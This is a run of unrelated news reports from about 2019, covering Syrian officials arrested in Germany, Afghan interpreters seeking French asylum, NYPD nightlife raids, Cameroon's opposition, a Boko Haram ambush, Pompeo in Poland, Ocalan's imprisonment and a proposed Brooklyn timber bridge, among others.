pocket in Syria sit in the back of a truck near Baghuz, eastern Syria Syrian Democratic Forces fighters stand guard as a convoy transports civilians fleeing the battered Islamic State group holdout of BaghouzGermany has arrested two alleged former Syrian secret service officers accused of torture and crimes against humanity, prosecutors said Wednesday. The men, 56-year-old Anwar R. and Eyad A., 42, were arrested on Tuesday in Berlin and Rhineland-Palatinate state. Both left Syria in 2012. Also Tuesday, another Syrian believed to have worked for the secret service was arrested in France in what was a "coordinated" operation, the federal prosecution in Karlsruhe said. "From April 2011 at the latest, the Syrian regime started to suppress with brutal force all anti-government activities of the opposition nationwide," a prosecution statement said. "The Syrian secret services played an essential role in this. The aim was to use the intelligence services to stop the protest movement as early as possible." Anwar R. had allegedly led a secret service division that operated a prison in the Damascus area, and had participated in the torture and abuse of prisoners from April 2011 to September 2012. "As head of the investigative department, Anwar R. directed and commanded prison operations, including the use of systematic and brutal torture," it said. Eyad A., a former officer who had manned checkpoints and hunted protesters, had allegedly aided and abetted two killings and the physical abuse of some 2,000 people between July 2011 and January 2012. In the summer of 2011, he manned a checkpoint near Damascus where around 100 people per day were arrested then jailed and tortured in the prison headed by Anwar R. The conflict in Syria has killed more than 360,000 people and displaced millions since it began in 2011 with the brutal repression of anti-government protests. Several other legal cases are now pending in Germany against the regime of President Bashar al-Assad. Last year, German prosecutors issued an international arrest warrant for Jamil Hassan, a top Syrian official who headed the notorious airforce intelligence directorate and is accused of overseeing the torture and murder of hundreds of detainees. Although the alleged abuses did not happen in Germany, the case has been filed under the legal principle of universal jurisdiction, which allows any country to pursue perpetrators regardless of where the crime was committed. The Berlin-based European Center for Constitutional and Human Rights has also joined with torture survivors to file criminal complaints against 10 high-ranking Syrian officials, accusing them of crimes against humanity and war crimes. Three Syrians, believed to be former secret service officers, have been arrested in Germany and France, federal prosecutors in the German city of Karlsruhe say

Gable Tostee has reportedly called police on a woman claiming she assaulted him.

Paramedics and police were called to the home of Mr Tostees parents in Carrara on the Gold Coast on Tuesday afternoon, The Courier-Mail reports.

The paper said he had complained a woman assaulted him, and called police.

She was reportedly hospitalised for a mental health evaluation but neither were harmed.

Mr Tostee is said to be living at the property.

Gable Tostee outside of court in 2016 after being acquitted of the murder of Warriena Wright. Source: AAP

Queensland Police has declined to confirm or comment on the reported incident.

Mr Tostee made headlines across the country when he faced court in 2014 over the death of Tinder date Warriena Wright who fell from the balcony of his Gold Coast apartment.

In October, 2016 he was acquitted of the charges.

He now goes by the name Eric Thomas.

Gable Tostee was cleared of the murder and manslaughter of Ms Wright. Source: 7 News

In January last year, he weighed in on a debate after an American woman wore glitter art on her topless chest at a New Zealand music festival.

The woman claims she was groped at the festival.

Do you have a story tip? Email: y7newsroom@yahoo7.com.au.

You can also follow us on Facebook and Twitter and stay up to date with the latest news with Yahoo7s daily newsletter. Sign up here.They served the French army on the frontlines in Afghanistan, sometimes bearing arms during operations by international forces against the Taliban. But for years after the French troops pulled out, many Afghan interpreters were left exposed to revenge attacks by Islamist fundamentalists and denied asylum by the country for which they worked. Their long fight for protection from France ended on February 1 when a top French court ordered the state to give immediate protection to all those who had been previously turned away. As Afghanistan sinks further into violence, those who serve or have served foreign militaries are particularly at risk from the Taliban, who view them as traitors. Zainullah Oryakhail, 30, served as an interpreter for a French battalion from 2009 to 2013 -- a role for which he was occasionally armed with a French assault rifle to use in the event of an ambush. On January 7, his long quest for asylum ended when he arrived in France with his family, a year after he fled his village 38 kilometres (around 24 miles) north of Kabul. Oryakhail, who had been denied asylum by France in 2015, had already survived a drive-by shooting at his home and then been wounded in a suicide motorcycle bombing as he spoke to a NATO patrol outside his house. Convinced both attacks were linked to his work with the French military, over which he had received multiple threats, he moved to a freezing, one-room apartment in a suburb of Kabul. He survived by doing odd jobs, living in constant fear, until December 2018, when France's Council of State, the country's highest administrative court, ordered he be given immediate protection, along with five other interpreters whose asylum requests had been rejected in 2015. In the landmark ruling, the court said that the state owed local staff a duty of "functional protection". In a follow-up decision on February 1 the council went further, extending the protection to all the interpreters whose asylum requests had been rejected, including those who missed a government deadline to apply. The ruling, which also sets a precedent for local people employed by the French army in other conflict zones such as the Sahel region of West Africa, comes too late for some Afghans who sought safety in France. Qader Daoudzai, an interpreter for the French military from 2010 to 2012 whose visa application was rejected in 2015, died in a bomb blast in Kabul on October 20. He left behind a pregnant wife and three children. Yusefi Z., another former interpreter who cannot be fully identified for safety reasons, was severely wounded, and his step-brother killed, in mid-January in a bomb blast in Kabul, where he remains in hiding. - 'Traitors' - France was the fifth-biggest contributor of troops to the NATO-led mission in Afghanistan from 2001 to 2014, when the last of its soldiers left the country. Over the course of its long deployment, the military employed 770 local staff in positions such as interpreters, drivers and warehouse workers. A total of 224 interpreters received visas to move to France in three waves of relocations between 2013 and 2018, according to the Association of the French Army's Afghan Interpreters, but many were then turned down. France is not the only country accused of failing to provide adequate protection for former Afghan employees. A British parliamentary committee last year found Britain had "dismally failed" to look after 7,000 former Afghan staff. Defending France's record, a defence ministry source, who asked not to be identified, said French officials had spent a month in the region in late 2018 to hear new asylum requests and reopen old cases. The mission was carried out "at the request of the French president, taking into account the deterioration of the situation during the past 12 months in Kabul and Kapisa," the province where most of the French troops were stationed, the official said. At the end of the mission, 218 long-stay visas were granted to former employees and their families, the official said, adding: "France cannot be accused of doing nothing." - Treated like 'ordinary migrants' - But for Quentin Mueller, co-author of a book entitled "Interpreter, a French Betrayal" ("Tarjuman, une Trahison franaise") published last week, France abandoned those who were its "eyes and ears in the fight" against the Taliban. "It treated them like ordinary migrants who would like to take advantage of the French system," he said. The book's other author Brice Andauer denounced the asylum process as "intentionally opaque and secretive", saying many applicants had been turned down with no reason given. Noting that the French army's local Afghan staff were routinely subjected to background checks, he argued there were few chances of extremists slipping through the system into France. "Furthermore, the Taliban have never advocated global jihad", he pointed out. Today, there are still close to 550 former interpreters and other service providers who could claim protected status in France. Some have already joined the migrant trail to Europe or moved to neighbouring countries, having lost hope of being brought to safety. Former Afghan interpreters for the French army demonstrate in front of the French embassy in Kabul Zainullah Oryakhail, a former interpreter for the French military in Afghanistan, during an interview with an AFP reporter in Kabul in 2017 France was the fifth-biggest contributor of troops to the NATO-led mission in Afghanistan from 2001 to 2014 Former translators demonstrate last year in Paris seeking visas and protectionOde to Babel, a narrow, 750-square-foot bar in Brooklyns Prospect Heights, was filled with people drinking and dancing one Friday night in October, when all at once, some 30 city and state officials showed up, according to Marva Babel, one of the owners. The crew disrupting the revelry included police officers in bullet-proof vests as well as representatives of the State Liquor Authority, the Fire Department, the city Department of Health and Mental Hygiene and the city Department of Environmental Protection. By the time they left, Babel said she had incurred roughly $2,000 in fines, some of which she successfully contested with the help of a consultant.

An SLA spokesperson confirmed that the bar was charged for five violations following an inspection on October 20th. The violations included one for pre-mixing drinks, a violation for failure to have food, alleged overcrowding, and allegedly excessive noise. Babel pleaded not guilty to all of the SLA violations.

We were a spectacle, Babel told City Council members Monday. Our patrons stood in disbelief.

Babel was one of several nightlife proprietors who testified during a Monday City Council hearing on coordinated raids like this one, which are conducted as part of an NYPD-led program known as MARCH, or Multi-Agency Responses to Community Hotspots.

As many as 203 bars and music venues across the five boroughs were included on lists of establishments to be targeted in MARCH operations last year, but the city doesnt have an exact number of how many were actually visited, said Assistant Deputy Commissioner Robert Messner, commanding officer of the NYPDs Civil Enforcement Unit. Usually, Messner said, MARCH aims to visit four to six establishments in the course of a night, but rarely gets to all of them.

Councilmember Stephen Levin is the primary sponsor of a bill that would help shed light on the shadowy enforcement tactic. The legislation would require the Mayors Office of Criminal Justice to file a quarterly report detailing the number of inspections conducted as a part of MARCH operations and their outcomes, including whether any of the establishments targeted end up shutting down.

Like many of the nightlife advocates organizing under the hashtag #talksnotraids, Levin said he doesnt think the dramatic MARCH visits are necessary at all. Individual agencies such as the Health Department and Fire Department routinely conduct their own inspections, Levin noted.

Im still very skeptical theres a need for this type of enforcement, particularly when theres no instance of violence taking place, Levin said.

The reasons why venues end up getting targeted in MARCH operations are wide-ranging and could include reports of noise complaints, theft, underage drinking or fights breaking out, said NYPD representatives at the hearing.

Prior to recommending a location for a MARCH operation, both the precincts neighborhood coordination officers and crime prevention officer consider methods of mediating the situation without the need for enforcement, Messner said.

The NYPD is adamant, however, that no one should ever know they are at risk of getting raided. DO NOT alert person(s) affiliated with the establishment, its patrons, or community members of the ongoing investigation/operation, instructs a document the NYPD issued in 2014 on the criteria for a MARCH raid, which was made public through a Freedom of Information Law request.

Nightlife advocates deny that business owners are given an opportunity to remedy problems before being raided and say the raids contribute to unfair stigmatization and potential loss of business for those they target. They also say theres no central contact to reach out to about why a space landed on a MARCH list or what can be done to get in good standing again.

Babel said she believes Ode to Babel was MARCHed because of 311 complaints from the community. According to NYC Open Data, there were about 50 311 complaints about Ode to Babel since it opened in August 2015, mostly for noise.

Our popularity has translated into disdain by some of our neighbors, Babel said. Neighbors that are new to the community, and frankly would prefer to see us silencedliterally and figuratively.

Babel and members of the advocacy group the NYC Artist Coalition said they believe that bars catering to people of color and the LGBTQ community are disproportionately targeted by MARCH.

Councilman Rory Lancman, who chairs the Committee on the Justice System, suggested that in the future, a representative from the city's Office of Nightlife should sit down with nightlife managers, police and other relevant officials to help mediate unresolved issues, rather than resorting to raids.

The NYC Artist Coalition and other advocacy groups fought for the creation of the Office of Nightlife and the position of night mayor so those entities could serve as a liaison between nightlife establishments and the city. Night Mayor Ariel Palitz has said she hopes to address concerns about MARCH but has yet to commit to any specific initiatives.

In the meantime, several nightlife advocates endorsed the idea of police recording MARCH operations on body cameras to show how intimidating they can be.

The raid has come and gone, but the financial burden, mental hurt and distress for me as a small business owner and as a mother with small children living directly above my business still remains, Babel said.

Fewer than 1.7% of the 12,000 establishments with liquor licenses in New York City were subject to MARCH visits last year and the number has been declining. There were 57 MARCH operations conducted last year (with each one targeting four to six establishments), down from 109 when Mayor Bill de Blasio took office in 2014, Chernyavsky said.

The directors of Netflix documentary "Two Catalonias" said Tuesday they had returned a German award because the involvement of Catalonia's former president Carles Puigdemont in the ceremony had "politicised" the "neutral" spirit of their work. Alvaro Longoria, who made the film about the crisis sparked by Catalonia's failed 2017 independence bid along with Gerardo Olivares, picked up the Cinema for Peace Foundation award from Puigdemont's hands in Berlin on Monday night. As well as handing out the prize for "cinema for peace and justice", Puigdemont delivered a speech against a trial which began Tuesday in Madrid of 12 Catalan separatist leaders over the secession bid. He also appeared on stage as a German soprano sang "Don't Cry For Me, Catalonia" -- a version of "Don't Cry For Me, Argentina" from the hit musical "Evita". "We returned the prize this morning. It became a political rally which we did not want to take part in," Longoria told AFP by telephone from Berlin. "We felt it did not represent the spirit of the documentary, which is neutral, and that it failed our professional ethics. We do not want to be a tool of information manipulation," he added. Longoria said he only decided to attend the ceremony after organisers promised the event would not be "politicised" and that Puigdemont would only hand out the award. Olivares, the documentary's other director, declined to attend the ceremony after he learnt Puigdemont would be present. Puigdemont, who fled Spain days after Catalonia's failed independence declaration on October 27, 2017, is not among the 12 defendants in the dock over the secession bid. Spain does not try suspects in absentia for major offences. Alvaro Longoria, pictured here in September 2018, directed the documentary about the crisis sparked by Catalonia's failed 2017 independence bid along with Gerardo OlivaresCarpenter Ma Jiale has spent much of his working life lovingly repairing some of Shanghai's most attractive -- if rather decrepit -- historical buildings. The Chinese city is well known for its skyscrapers, but its pre-Communist days as a cosmopolitan trading hub has left a legacy of assorted architecture ranging from French-style villas to Edwardian mansions and Art Deco buildings. Authorities say they are committed to preserving the best of the old structures -- and Ma is doing his part. The 57-year-old grandfather cycles -- old tools hanging from the handlebars -- from job to job in a pocket of the northeast district of Hongkou. "If Shanghai only has skyscrapers, then it is not Shanghai any more," said Ma, known affectionately in the neighbourhood as "Master Ma". "I am not saying modernisation is not good, but historical buildings should be preserved," he added. In a 2002 report, the World Bank described this part of Hongkou as a key historical site not just in Shanghai, but for China. Past residents included writers, a Communist Party leader from the late 1920s and, according to local legend, one of Mao Zedong's ex-wives. - 'Little Tokyo' - Recently Ma worked on a century-old house that from the outside would not look out of place in a wealthy London suburb. Now divided into several rather ramshackle apartments, Ma said that Japanese used to live there -- Hongkou was once known as "Little Tokyo". Ma uses tools handed down by his predecessors because he fears that modern or electrical ones will damage the original features of the house. They include arched floor-to-ceiling front windows, high ceilings and a grandiose tiled fire place. There are no original drafts to work off so Ma uses his experience and instinct to make the new door frame fit with its surroundings of faded grandeur. "The meaning of my job is to protect historical buildings and pass on our craftsmanship," said Ma. "What is made by machines is cold and lacks a human touch." - Playing catch-up - Ma works for a state-owned property management company and proudly declares that he is a member of the ruling Communist Party. After the Communist takeover 70 years ago, political campaigns denouncing symbols of China's past "feudal" era consigned many properties to decay. The Shanghai government is playing catch-up but in recent years stepped up its efforts to protect and preserve historical buildings, Ma said. But in a country where people are often afraid of speaking out, Ma is open about what he feels is the inadequate upkeep of some of Shanghai's attractive old architecture. "We just roughly repair windows, doors, floorboards, wooden frames," said Ma, calling for more money to be directed to the preservation effort. "For decades Shanghai?s historical buildings haven't been well protected Small repairs from property management companies cannot solve the big problem," he added. - Fears for future - There is another lingering worry. Ma will retire in three years and is eager to pass on his decades of expertise -- if only there were budding carpenters out there. In the neighbourhood where he works, there are only four carpenters for a population of more than 10,000 residents, he said. That inadequate ratio is repeated across Shanghai, he added. A major reason is the pay -- Ma works five days a week and earns about 5,000 yuan ($750) a month, half the average salary in Shanghai. For comparison, the 50-square-metre (550 square feet) apartment he was working on recently sold for five million yuan putting it on a par with central London prices. Ma said: "If needed, I?m willing to teach young people to do carpenter work. But it?s still too difficult to find young people for this sort of job." He added: "I?m very worried that after three to five years, no one will inherit the skills and the protection work cannot continue." Chinese Carpenter Ma Jiale has spent much of his working life lovingly repairing some of Shanghai's most attractive -- if rather decrepit -- historical buildings Shanghai's pre-Communist days as a cosmopolitan trading hub left a legacy of assorted architecture ranging from French-style villas to Edwardian mansions and Art Deco buildingsCameroon opposition leader Maurice Kamto, who says he was cheated out of the presidency in elections last year, has been charged with "rebellion" and "insurrection", one of his lawyers said Wednesday. The former government minister was arrested in the economic capital Douala on January 28 after his MRC party organised protests in cities against last October's election result, which they say was rigged. The prosecutor's office of the Yaounde military court filed the charges against Kamto, who was transferred to a prison in the capital during the night, according to lawyer Emmanuel Simh. Simh, who is also vice president of Kamto's Movement for the Rebirth of Cameroon (MRC) party, said 28 of Kamto's supporters were also charged. About 100 others supporters are to appear on Wednesday before the military court, which will decide whether to charge them. Kamto has said he was the rightful winner of presidential elections, which were won by the West African country's veteran leader Paul Biya. Biya, 86, secured a seventh consecutive term in the polls, which the MRC has slammed as an "electoral hold-up". Kamto won 14 percent of the vote to place second, according to the official figures. The vote was marred by incidents of violence especially in the country's two English-speaking provinces, which have been badly hit by clashes between separatists and Cameroon troops for more than a year. MRC supporters turned out in several towns and cities on January 26 to dispute the official election result. The demonstrations were suppressed by the police and at least six protesters were injured. The MRC has said that around 200 people arrested during the protests are still being held in Yaounde. Some of them, including MRC treasurer Alain Fogue, have launched hunger strikes. - 'Escalating crackdown' - The European Union earlier this month condemned Cameroon for the "disproportionate use of force" in dispersing the protests. "Finding a solution to the challenges faced by the country can only be achieved through dialogue in a calm and inclusive atmosphere where fundamental rights and the rule of law are respected," EU spokeswoman Maja Kocijancic said in a statement. Human rights groups last month condemned Kamto's arrest and called for his immediate release. Amnesty International warned the arrest of Kamto and his staff "signals an escalating crackdown on opposition leaders, human rights defenders and activists in Cameroon". "Instead of taking steps towards improving the country?s human rights record, we are witnessing the authorities becoming less and less tolerant of criticism. This must stop," said Amnesty's West and Central Africa director Samira Daoud. Biya has ruled the West African country since 1982 with support from the army, government administrations and the Cameroon People's Democratic Movement (RDPC) that he created in 1985. Kamto has said he was the rightful winner of presidential elections last October won by veteran leader Paul BiyaThe European Commission on Wednesday proposed adding seven countries including Saudi Arabia to the EU's money-laundering blacklist of governments that do too little to thwart the financing of terrorism and organised crime. The move comes as tensions between Riyadh and European capitals are heightened over the murder last year of the columnist Jamal Khashoggi at the Saudi consulate in Istanbul. The proposal must now be approved by the European Parliament and the 28 member states, with France and Britain against the new list. The new countries targeted by the commission, including Saudi Arabia and Panama, would join another 16 already on this register -- such as Iran, Iraq, Pakistan, Ethiopia and North Korea. Inclusion on the list does not trigger sanctions, but it does oblige European banks to apply tighter controls on transactions with customers and institutions in those countries. "We have put in place the highest standards in the world in the fight against money laundering," said European Commissioner for Justice Vera Jourova. "But we must ensure that dirty money from other countries does not end up in our financial system," she told a press conference at the European Parliament plenary session in Strasbourg. "Dirty money is the driving force behind organised crime and terrorism," Jourova continued, urging countries on the list to "quickly remedy their shortcomings". A diplomat said objections to the new list were not linked to fallout from the Khashoggi murder and a desire to appease Saudi Arabia. There is not "an opposition to the addition of a particular country", but concerns over the "methodology" used. MEP Eva Joly, a former investigating judge, welcomed the new list but suggested the commission "publish the country assessments in order to increase the transparency of the process and avoid accusations of political bargaining." European countries such as Cyprus or the United Kingdom should also be on the list, she said. The European Commission proposed adding seven countries including Saudi Arabia to the EU's money-laundering blacklist of governments that do too little to thwart the financing of terrorism and organised crimeBrazil's President Jair Bolsonaro left hospital Wednesday, ending a 17-day hiatus at the helm of Latin America's biggest economy during which several high-profile political issues were put on the backburner. Bolsonaro, 63, underwent surgery on January 28 to remove a colostomy bag and seal intestines perforated when he was stabbed by a lone assailant last September while campaigning to be president. His discharge date was repeatedly pushed back over the past couple of weeks as he was treated for post-op complications including vomiting, fluid buildup and a bout of pneumonia. A convoy took him from the Sao Paulo hospital where he was treated to the airport. He then took an air force plane to fly to the capital Brasilia. A photo posted by his office showed Bolsonaro smiling as he walked down a corridor with officials in tow. The far-right leader, a former paratrooper, had sought to project an image of still being in charge from his hospital bed. But jockeying within the government during his absence led some observers to say he had left Brazil rudderless shortly after taking office at the beginning of January. There was "a kind of power vacuum," Thomaz Favaro of the political risk consultancy Control Risks told AFP. He said there was "a bit of worry" among hundreds of officials appointed to run government ministries, agencies and state-run companies on how to implement Bolsonaro's agenda while he was in hospital. The tensions exposed by the extended period of limbo reportedly including friction between Bolsonaro and his vice president, Hamilton Mourao, who very briefly served as acting leader. "Do you want to kill me?" Bolsonaro asked Mourao in a telephone call over the weekend, the latter said, though making clear the president was joking, according to multiple reports in major Brazilian media. - Entourage irritated - Mourao, a retired general, was said by Brazilian political columnists to have irritated Bolsonaro's entourage -- especially his sons, three of whom are also politicians -- by expanding his power base and influence through meetings with congressional heavyweights and diplomats and comments to the media. The vice president particularly enraged them by publicly questioning the anti-crime justification of a decree Bolsonaro signed to ease gun ownership laws, and Bolsonaro's controversial promise to eventually move Brazil's embassy in Israel to Jerusalem. Now that he is out, Bolsonaro will have two priorities to tackle: setting out the contours of a much-anticipated reform of Brazil's unsustainable pension system -- and re-imposing his authority. The Estado de Sao Paulo newspaper lamented the "administrative paralysis" caused by Bolsonaro's extended hospitalization and what it saw as his sons' undue influence. "The government today is run by someone not in sufficient health to do so, and who suffers direct and broad influence from his sons -- who received no vote to be president nor occupy any ministerial posts," it said in an editorial on Tuesday. - Struggle over pension changes - The pension issue promises further struggles behind the scenes. Bolsonaro won office partly by wooing investors with a pledge to overhaul of Brazil's limping, protectionist economy. That task has been largely delegated to his economy minister, Paulo Guedes, a US-trained free-marketeer. Guedes has publicly toed the line set by Bolsonaro. But reports of tensions between him and the president's chief of staff, Onyx Lorenzoni, have remained despite ostentatious pictures of the two lunching together. And Guedes and Bolsonaro have differed on basic principles of the pension reform. Lorenzoni said the package would be unveiled at the end of this week before being sent to Congress, but only after Bolsonaro gave his green light. According to a leak last week of an early draft proposal, the minimum retirement age would be hiked to 65 years for both men and women. Bolsonaro initially wanted a softer regime of 62 years for men and 57 for women, but is said to be ready to settle for 65 and 60 respectively. The reform will require changes to Brazil's constitution, to be voted by a congressional supermajority. If passed, it is expected to yield savings of up to one trillion reais ($273 billion) over a decade, according to Guedes. Currently in Brazil, workers can make early retirement after contributing for 35 years in the case of men and 30 years for women. Brazilian President Jair Bolsonaro's expected discharge date from hospital was pushed back repeatedly as he suffered complications Jockeying within the government during Bolsonaro's absence led some observers to say he had left Brazil rudderless shortly after taking office at the beginning of January Economy Minister Paulo Guedes is heading up plans to overhaul Brazil's costly pensions systemFour people were killed and an unknown number of others were kidnapped in a Boko Haram attack on a convoy of vehicles carrying the governor of Borno state in northeast Nigeria, sources said on Wednesday. A civilian militia member travelling with Kashim Shettima said jihadist fighters staged an ambush near the town of Dikwa at about 6:30 pm (1730 GMT) on Tuesday. The area, near the town of Gamboru and the border with Cameroon, is a known area of activity of the Boko Haram faction loyal to long-time leader Abubakar Shekau. Shettima, who is stepping down as governor after a maximum of two four-year terms, has been campaigning for a seat in the Senate in elections on Saturday. He was travelling with the governorship candidate for the All Progressives Congress (APC) party, Babagana Umaru. Both escaped unhurt and were able to continue to Gamboru, where they spent the night before returning to the state capital, Maiduguri, on Wednesday. There was no immediate comment from either but a member of the Civilian Joint Task Force said the attack targeted the tail end of the convoy after Shettima had passed. "There was heavy fighting between the attackers and the soldiers and CJTF," he told AFP on condition of anonymity for security reasons. "Many vehicles managed to turn back, however two soldiers were killed and two other civilians. An unknown number of party supporters were kidnapped along with their vehicle. "The bus they were travelling in got stuck in the sand while the driver was trying to manoeuvre and turn back towards Dikwa. "All the people in the bus were rounded up and taken into the bush. Another truck belonging to CJTF, which also got stuck, was taken away but the occupants were able to flee." Ngari Kalla, an APC supporter who was also part of the convoy, corroborated the account and said the victims' bodies were taken to Maiduguri. "We still don't know the fate of several of our supporters who were abducted during the fight," he added. "Their vehicle was stuck and before they could get out the gunmen surrounded them and took them away. This is a major concern to us." Borno state has been the epicentre of the nearly 10-year conflict, which has killed more than 27,000 and left some 1.8 million others homeless. President Muhammadu Buhari was elected in 2015 on a promise to defeat the Islamist militants but despite initial gains attacks persist. In recent months, soldiers have come under increasing attack from the self-styled Islamic State West Africa Province of Boko Haram, prompting fears of a resurgence. The group, which is backed by the Islamic State, split from the Shekau faction over objections to his indiscriminate targeting of civilians. Shekau has used kidnapping as a weapon of war and thousands of people have been abducted during the conflict, many of them women and young girls. Ambushes of traffic escorted by the military in rural areas have also been common. Boko Haram fighters ambushed a convoy of vehicles carrying the governor of Borno state, Kashim Shettima - seen here in November 2018 - in northeast Nigeria This January 2018 picture taken from a video released by the Islamist militant group Boko Haram shows factional leader Abubakar Shekau (C) Nigerian Air Force personnel prepare to bury comrades who died when their helicopter crashed as Boko Haram militants ambushed a military base in Borno State in early January 2019 President Muhammadu Buhari, who was elected in 2015 on a promise to defeat the Islamist militants, is seeking re-election in the February 16, 2019 voteWith the Russian border little more than an hour away, the desolate grey sky burst open with an explosion of fire and a plume of smoke. If the scene evoked the Cold War, it was intentional. US Secretary of State Mike Pompeo trekked Wednesday to the Polish town of Orzysz to witness NATO live-fire exercises in an unmistakable sign to Warsaw that the United States has its eye on Russia. Pompeo walked through drizzling rain with senior Polish officials over frozen soil and patches of snow to a reviewing stand as several hundred troops stood at attention. Pompeo, a West Point graduate who served as a US Army cavalry officer in Germany when Poland was on the other side of the Iron Curtain, said little had changed except, he joked, that back then he was listening to cassette tapes of Van Halen. The US defense chief likened Orzysz, around 70 kilometres (45 miles) from Russia's Baltic Sea enclave of Kaliningrad, to divided Germany's infamous Fulda Gap -- where NATO feared that Soviet tanks could penetrate its defenses. "Today, the gap in which we stand occupies the same priority focus for NATO commanders that the Fulda Gap did back then -- once again because of Russian aggression," Pompeo said in reference to the so-called Suwalki Gap. He said that the concern was not theoretical, denouncing Russian President Vladimir Putin for the 2014 annexation of the Crimean peninsula and ongoing support for separatists in Ukraine, as well as Moscow's war a decade earlier with Georgia. "We take seriously those concerns that Russia may one day try to open a front along a line right here," Pompeo said. - Simulated battle - Pompeo then advanced with senior Polish officials including Foreign Minister Jacek Czaputowicz to observe exercises by troops from the five countries at the base -- the United States, Poland, Britain, Croatia and Romania. Amid startling shots from rocket launchers, 20 troops sprinted from a corner for a display of hand-to-hand combat, simulating punching and kicking one another as if in the throes of battle. Pompeo watched with a smile as Bradley armoured vehicles rolled by and a dozen soldiers jumped out before him and squatted with their rifles, shooting metallic targets in the shape of enemy bodies. A Polish officer provided a running, dispassionate narrative in precise English, explaining, "The snipers wait patiently for the enemy soldier to present the opportunity for the perfect shot." - Wooing the US - Putin has accused the United States of trying to contain Russia and has pledged to boost Moscow's own military, including by deploying nuclear-capable Iskander missiles to Kaliningrad. Meanwhile, US President Donald Trump has voiced admiration for Putin and mused that NATO -- which considers an attack on any of its 30 members an attack on all -- cheats the United States out of money. Believing a permanent US presence would be the ultimate deterrent, Poland has offered to contribute to building a US base -- which it has cheekily suggested could be called Fort Trump. Asked about a troop increase, Pompeo said the United States was "taking a look at it". NATO promised Russia in 1997 not to station significant forces in the former eastern bloc. As tensions have grown however, the alliance has instead rotated troops through front-line countries. Poland offered an additional sweetener on Wednesday. US Vice President Mike Pence, also in the country, said Warsaw would buy $414 million worth of US mobile rocket launchers -- good news for the transaction-minded Trump. US Secretary of State Mike Pompeo is stepping up pressure on Russia on a tour of Europe NATO troops take part in military exercises in June 2017 in Orzysz, Poland US Vice President Mike Pence (L) stands next to Poland's President Andrzej Duda during a visit at the 1st Airlift Base in WarsawWhen Turkish authorities arrested Kurdish militant leader Abdullah Ocalan two decades ago, it struck a blow to his outlawed separatist group but experts say his influence remains significant as a key player in any future peace deal. Ocalan founded the Kurdistan Workers' Party (PKK) -- blacklisted as a terror group by Ankara, the United States and the European Union -- in 1978 with a group of fellow students to seek Kurdish autonomy. The party became an armed group from 1984, with the objective of creating an independent Kurdish state. More than 40,000 people were killed during the PKK's insurgency. Prior to his 1999 arrest, Ocalan was in exile in Syria until Damascus and Ankara reached an agreement in 1998 and he was forced to leave. He was eventually caught in Kenya outside the Greek embassy in Nairobi on February 15, 1999 by Turkish secret service agents. Now he is in a notorious prison on Imrali island off Istanbul and despite almost complete isolation remains a reference figure for the Kurdish cause not just in Turkey but across the region. "Ocalan's arrest was initially a huge blow to the organisation, because he had controlled every aspect of the PKK and its activities and suddenly he was gone," said Aliza Marcus, author of the book "Blood and Belief: The PKK and the Kurdish Fight for Independence". "In addition, his decision to suspend the war and basically give up on an independent Kurdistan -- as he announced at his trial -- added a whole new layer of confusion," she said. But the PKK has been able to adapt, "partly because Ocalan was able to communicate from prison, through interviews and meetings with his lawyers", Marcus said. - 'Ban on visits' - For example, in 2013 Ocalan called for -- using lawmakers from the pro-Kurdish Peoples' Democratic Party (HDP) as intermediaries -- a ceasefire to allow peace talks between Ankara and himself to achieve a political settlement. The fragile ceasefire collapsed in 2015 and bloody clashes resumed in the country's southeast. After the 2016 failed coup, Ankara stepped up its fight against terror under a state of emergency and a decision "was officially taken to ban all visits to Imrali, both for his lawyers and family", one of Ocalan's lawyers, Ibrahim Bilmez, said. But Ocalan has not had access to his lawyers since 2011. More than 300 people in jail are on hunger strike calling for Ocalan to be given access to his family members and lawyers, including Leyla Guven, a pro-Kurdish Peoples' Democratic Party (HDP) lawmaker, according to the HDP. Guven, 55, has been pressing ahead with the strike launched on November 8, although she was released from prison pending trial last month. In a bid to appease the hunger-strikers, Turkish authorities allowed Ocalan's brother Mehmet to visit him last month for the first time since 2016. "These hunger strikes put the state in difficulty because the demands are legitimate. This is why Ocalan's brother was sent to Imrali," Bilmez said. "We have no information, only what Mehmet told us," the lawyer said, but Ocalan wanted the public to know he was "well". - 'Psychological connection' - According to Bilmez, there is a "psychological connection" between Ocalan and the Kurdish people, "and they draw strength from each other", meaning the PKK leader retains his influence and popularity. "In the long run, one has the impression that the arrest paradoxically served the PKK and the Kurdish cause," said Hamit Bozarslan, director of studies at the Paris-based School for Advanced Studies in the Social Sciences. Bozarslan added that the PKK was more popular today than at the time of his arrest. "In the last 20 years, the PKK has become one of the two key references in the Kurdish sphere in the region; the Iraqi Kurdish government being the other," he said. And Ocalan's presence goes beyond Turkey as well. Loyal followers refer to him as "Apo" or "Serok" (the chief) and his images are on show in northern Syrian areas controlled by the US-backed Syrian Kurdish People's Protection Units (YPG) militia. Since the resumption of violence in 2015, President Recep Tayyip Erdogan's speeches regarding Kurdish militants have hardened, making the prospect of a negotiated solution to the conflict even more difficult. But, stressing that circumstances can always change, Bozarslan said that if he wanted to renew dialogue, Erdogan will "have no other interlocutor" than Ocalan. Ocalan, seen here in flags at a pro-Kurdish rally in Germany, founded the outlawed Kurdistan Workers' Party (PKK) -- blacklisted as a terror group by Ankara, the United States and the European Union -- in 1978 to seek Kurdish autonomy Despite almost complete isolation, Ocalan remains a reference figure for the Kurdish cause not just in Turkey but across the region. Kurdish regions include parts of Turkey, Syria, Iran and Iraq Since the resumption of violence, Recep Tayyip Erdogan speeches regarding Kurdish militants have hardenedIt's may be hard to remember now, but up until a few years ago, cyclists and pedestrians hoping to travel between Greenpoint and Long Island City were crammed into a single, miserable lane of the Pulaski Bridge. The situation improved substantially in April 2017, when a two-way bike path finally opened after an extended period of bureaucratic wrangling. Today, amid the turbocharged development of LIC and citywide growth in bike ridership, is it time for non-drivers to get their very own overpass over Newton Creek? Is it also time for us to start referring to the cross-borough area as "LongPoint"?

That's the argument made by CREME, the Williamsburg-based firm vying to build a timber bridge just a block west of the Pulaski Bridge. Dubbed the LongPoint Corridor, the 250-foot floating bridge would be made from a lightweight wood, with the ability to pivot to make way for larger boat traffic. It would be restricted to cyclists and pedestrians, allowing for a shorter and safer commute than the Pulaski's "less-than-ideal path with lots of cars," according to the project's designers.



(Rendering via Creme Design)

On Tuesday, the Brooklyn Eagle reported that the bridge now has endorsements from Brooklyn Borough President Eric Adams and Assemblymember Joe Lentol, as well as a new fundraising arm called Friends of Timber Bridge. In a letter sent to the Department of Transportation, Adams reportedly highlighted the need for public and recreational space on the waterfront area, noting that this project would activate both.

